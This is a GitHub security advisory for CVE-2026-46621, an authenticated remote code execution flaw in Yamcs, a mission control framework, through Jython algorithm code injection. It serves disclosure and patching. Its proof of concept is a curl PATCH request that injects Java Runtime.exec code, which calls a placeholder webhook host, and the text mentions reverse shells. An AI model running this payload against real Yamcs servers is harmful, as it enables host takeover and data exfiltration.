Skip to content

Yamcs Vulnerable to Authenticated Remote Code Execution (RCE) via Jython Algorithm Code Injection

Critical severity GitHub Reviewed Published May 21, 2026 in yamcs/yamcs

Package

maven org.yamcs:yamcs-core (Maven)

Affected versions

< 5.12.7

Patched versions

5.12.7

Description

Summary

A Server-Side Code Injection vulnerability exists in the Yamcs script evaluation engine for Python algorithms. The application dynamically compiles and evaluates user-controlled algorithm text using Jython (via the JSR-223 ScriptEngine API) without enforcing a secure sandbox. An authenticated user with the ChangeMissionDatabase privilege can exploit this by overriding the algorithm logic through the REST API, achieving Remote Code Execution (RCE) on the underlying host operating system.

Details

The vulnerability lies in how Yamcs handles dynamic script evaluation. When a user updates an algorithm via the MDB (Mission Database) API (/api/mdb/{instance}/realtime/algorithms/{name}), the AlgorithmManager uses the ScriptAlgorithmExecutorFactory to instantiate a JSR-223 ScriptEngine (in this case, Jython/Python).

Because Jython allows seamless interoperability with native Java classes, an attacker can import and execute arbitrary Java classes such as java.lang.Runtime. Any valid Python algorithm can be overwritten with a malicious payload that executes OS-level commands.

PoC

Prerequisites:

  1. A running Yamcs instance with the Jython engine available in its classpath (e.g., jython-standalone dependency included).
  2. An active authentication token for a user with the SystemPrivilege.ChangeMissionDatabase privilege.
  3. An existing algorithm defined in the Mission Database (MDB) with its language explicitly set to python (e.g., a custom poc algorithm). Note: Yamcs prevents changing the underlying language engine of an algorithm via the API, so an existing Python algorithm must be targeted.

Exploitation Steps:

  1. Send an authenticated HTTP PATCH request to the MDB API endpoint to inject the malicious Jython code into the existing Python algorithm. The payload leverages java.lang.Runtime to execute an OS command (e.g., triggering an external webhook or a reverse shell).

    curl -i -X PATCH http://<YAMCS-SERVER-IP>:8090/api/mdb/myproject/realtime/algorithms/myproject/poc \
         -H 'Content-Type: application/json' \
         -H 'Authorization: Bearer <YOUR_AUTH_TOKEN>' \
         -d '{
           "action": "SET",
           "algorithm": {
             "text": "import java.lang.Runtime\njava.lang.Runtime.getRuntime().exec([\"bash\", \"-c\", \"curl https://<YOUR-WEBHOOK-URL>/RCE\"])\nout0.value = 1.0"
           }
         }'

    (Note: Assigning a valid output like out0.value = 1.0 ensures the algorithm returns the expected data type to the Yamcs internal processor, preventing crash loops and ensuring clean execution).

  2. Trigger the algorithm evaluation by sending telemetry data that the algorithm depends on (e.g., running the simulator.py script to update the required parameters like Sunsensor).

  3. The Yamcs server compiles the injected text into an executable script on the fly.

  4. Verify that the OS command executed successfully on the host machine by checking the incoming HTTP request on the provided webhook URL.

Impact

It impacts any Yamcs deployment where users are granted the ChangeMissionDatabase privilege and a scripting engine (like Jython) is present in the classpath. An attacker can leverage this to escalate application-level configuration privileges to full System/OS control, leading to arbitrary command execution, data exfiltration, and potential lateral movement within the hosting infrastructure.

Credits

Discovered & reported by Pablo Picurelli Ortiz (@superpegaso2703), cybersecurity student at Universidad Rey Juan Carlos.

References

@xpromache xpromache published to yamcs/yamcs May 21, 2026
Published to the GitHub Advisory Database May 27, 2026
Reviewed May 27, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

EPSS score

Weaknesses

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

CVE ID

CVE-2026-46621

GHSA ID

GHSA-2g95-6x5q-xjwj

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.